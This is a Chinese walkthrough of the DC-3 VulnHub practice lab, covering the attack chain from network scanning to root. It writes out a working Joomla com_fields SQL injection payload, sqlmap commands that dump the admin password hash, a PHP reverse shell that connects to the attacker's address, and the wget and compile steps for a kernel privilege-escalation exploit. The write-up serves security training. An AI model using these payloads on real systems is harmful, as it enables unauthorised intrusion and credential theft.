DC-3靶场实战详解
环境安装
前面安装了老版本的DC-3几次,nmap都扫描不到机器,后来琢磨了很久也找不到问题,然后我去官网重新下载了个就没问题了
官网地址:https://www.vulnhub.com/entry/dc-32,312/
KALI和DC-3都用NAT模式.
DC-3需要多修改一些东西
把IDE里面的改成IDE 0:0
都完成后开启KALI与DC-3
寻找FLAG
信息收集
1.首先确认kali与DC-3所在网段
ip add
确认kali与DC-3所在网段为192.168.79.0/24网段
2.查找DC-3 ip 可以使用nmap 或者 arp-scan
方法一:arp-scan -l
方法二:nmap -sP 192.168.79.0/24
最终可以确认
kali :192.168.79.128
DC-3 :192.168.79.131
- 扫描DC-3开启的服务
nmap -v -A 192.168.79.131
通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms
4.访问网站192.168.79.131
5.扫描敏感目录看看
我这里使用的是7kbscan-WebPathBrute.1.6.2用御剑也是一样的
找到后台登录网站。
因为是常见的cms,所以我们直接扫Joomla! cms常见漏洞
漏洞扫描
1.安装onlinetool(在线cms识别|信息泄露|工控|系统|物联网安全|cms漏洞扫描|nmap端口扫描|子域名获取 在线工具安装)
地址 https://github.com/iceyhexman/onlinetools
我们这里kali 192.168.79.128 安教程部署就可以了
git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &
2.安装完成后访问 http://192.168.79.128:8000/
3.使用里面cms漏洞扫描
4.测试payload的有效性
payload:
http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)
确认payload有效
5.既然是SQL注入漏洞 配合sqlmap 以及前面目录爆破出来的后台登录网站,来登录后台
我这里使用是sqlmap windows的版本
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs//*表示注入位置
//查询所有数据库
得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables
//查joomladb 数据库下面的表
一共有8 90条 有一个#_users 看样子里面就应该有相关后台信息
接下来查询#_users表内的列名
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns
//查询#_users表内的列名
都是一路y或者回车
确定列名 账号密码一般为“username,password”
获得表中的账号密码
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump
//读取指定字段内容
获得账号密码
±---------±-------------------------------------------------------------+
| username | password |
±---------±-------------------------------------------------------------+
| admin | $2y101010DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
±---------±-------------------------------------------------------------+
6.密码为md5加密 可以使用kali内的john 解密
创建文件
touch admin.txt #创建文件
vi admin.txt #编辑
john admin.txt #破解ps:因为我以前破解过使用所以显示这个Using default input encoding: UTF-8Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])No password hashes left to crack (see FAQ)这是以及破解过的意思
john --show admin.txt #查看admin.txt以前破解过的结果
得到密码为 :snoopy
- 登录后台
反弹shell
通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本
随便找都可以,里面路径都有写
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.79.128", "5555");$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);
之后保存访问http://192.168.79.131/index.php
kali内使用nc 接受反弹的shell
nc -lvvp 5555
浏览器访问http://192.168.79.131/index.php
可以发现kali内接收到shell
python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式页面
发现权限不够
提权
SUID啥的都不行,于是考虑系统漏洞提权
cat /etc/*release #查看发行版信息
cat /proc/version #查看内核版本的全部信息
可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21
查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04
对应版本的几个都试了 发现 39772.txt可以
查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
写了exp地址
本地下载即可
kali好像下载不了 我本地下载 然后拉到kali里面
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
开启apache
systemctl start apache2.service
移动39772.zip到指定的apache的目录下
mv 39772.zip /var/www/html
浏览器访问 kali IP:192.168.79.128
复制下载链接
http://192.168.79.128/39772.zip
回到前面的DC-3的shell中下载刚刚上传的exp
wget http://192.168.79.128/39772.zip
解压exp
unzip 39772.zip #解压39772.zip
cd 39772 #进入39772
tar -xvf exploit.tar #解压缩exploit.tar
进入 ebpf_mapfd_doubleput_exploit 运行exp
cd ebpf_mapfd_doubleput_exploit
运行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件内写了
运行compile.sh , doubleput即可
./compile.sh
./doubleput
等一两分钟就可以了
FLAG
root目录下有flag,获得flag
cd /root
cat the-flag.txt
总结
- nmap,arp-scan主机扫描
- cms漏洞扫描
- sql注入漏洞sqlmap配合payload
- 敏感目录爆破
- php反弹shell的编写
- 系统漏洞提权
DC-3靶场实战详解相关推荐
- Webug靶场搭建详解
今天继续给大家介绍渗透测试相关知识,本文主要内容是Webug靶场搭建详解. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授 ...
- 《Unity 4 3D开发实战详解》一6.7 物理引擎综合案例
本节书摘来异步社区<Unity 4 3D开发实战详解>一书中的第6章,第6.7节,作者: 吴亚峰 , 杜化美 , 张月霞 , 索依娜 责编: 张涛,更多章节内容可以访问云栖社区" ...
- R语言基于forestplot包可视化森林图实战详解:美化的森林图:自定义字体设置、置信区间、坐标轴(刻度、标签、范围)、无效线去除、水平线、辅助线、box形状、色彩等
R语言基于forestplot包可视化森林图实战详解:美化的森林图:自定义字体设置.置信区间.坐标轴(刻度.标签.范围).无效线去除.水平线.辅助线.box形状.色彩等 目录
- R语言使用survminer包生存分析及可视化(ggsurvplot)实战详解:从数据集导入、生存对象生成、ggsurvplot可视化参数配置、设置、可视化对比
R语言使用survminer包生存分析及可视化(ggsurvplot)实战详解:从数据集导入.生存对象生成.ggsurvplot可视化参数配置.设置.可视化对比 目录 R语言使用survminer包生 ...
- R语言tidyr包gather()函数实战详解:数据收缩、从宽表到窄表
R语言tidyr包gather()函数实战详解:数据收缩.从宽表到窄表 目录 R语言tidyr包gather()函数实战详解:数据收缩.从宽表到窄表 收缩两列数据
- R语言tidyr包spread()函数实战详解:数据裂变、从窄表到宽表
R语言tidyr包spread()函数实战详解:数据裂变.从窄表到宽表 目录 R语言tidyr包spread()函数实战详解:数据裂变.从窄表到宽表
- R语言tidyr包Unite()函数实战详解:多个数据列合并为一列
R语言tidyr包Unite()函数实战详解:多个数据列合并为一列 目录 R语言tidyr包Unite()函数实战详解:多个数据列合并为一列
- R语言tidyr包separate()函数实战详解:一列裂变为多列
R语言tidyr包separate()函数实战详解:一列裂变为多列 目录 R语言tidyr包separate()函数实战详解:一列裂变为多列 一列裂变为两列
- 《oracle大型数据库系统在AIX/unix上的实战详解》讨论31: oracle、sybase 数据库的不同访问...
<Oracle大型数据库系统在AIX/UNIX上的实战详解> 讨论31: oracle.sybase 数据库的不同访问方式 文平. 用户来信要求更细节比较一下Oracle和sybas ...
最新文章
- C++用数组和链表分别实现Stack
- 【3】python核心编程 第六章-序列:字符串、列表和元组
- 使用npm init生成package.json
- 27 款经典的CSS 框架
- python自动化测试的工具_python自动化测试(3)- 自动化框架及工具
- java给图片坐标描点,记录一下, canvas实现获取图片每个坐标点,以描点方式渲染图片...
- 从0到1,手把手教你如何使用哈工大NLP工具——PyLTP
- 在没有显示器和IP未知的情况下如何使用树莓派
- Springboot整合kafka
- 计算机基本操作怎么保存,win10重置此电脑保留我的文件怎么操作
- Android R- AudioManager之音量调节(一)
- 案例21:Java农产品供求信息系统设计与实现开题报告
- 合理利用for循环遍历查找数据库数据
- 性格内向不善言辞的求职者在面试中如何展现优势?
- 多智能体强化学习(三)单智能体强化学习
- iuap助力中建五局打造数字化创新集成平台
- 欧文分校计算机科学硕士项目,2020年加州大学欧文分校排名TFE Times美国最佳计算机科学硕士专业排名第36...
- 电商项目的并发量一般是多少_【高并发】高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!...
- IRIS框架ctx.header响应头设置不成功问题
- 简简单单的一个嵌入式板子项目,笔记
热门文章
- UG\NX二次开发 开发好几年,还只会用ufusr?其他用户入口函数介绍
- 玻璃体改变php微,原始永存玻璃体增殖症(PHPV)
- 一家小小的米粉店2个月竟赚7万?到底用了什么样的方法?
- elasticsearch集群CPU不稳定的问题排查
- win7系统文件夹无法显示韩文_解决显示方块□□□的问题
- vue2实现数组push/pop/shift/unshift方法重写
- Java学习 --集合和数组
- html5 fish bow,带有HTML5画布元素的矩形渐变
- python列表批量删除元素_Python基础--list列表删除元素
- BigDecimal.setScale用法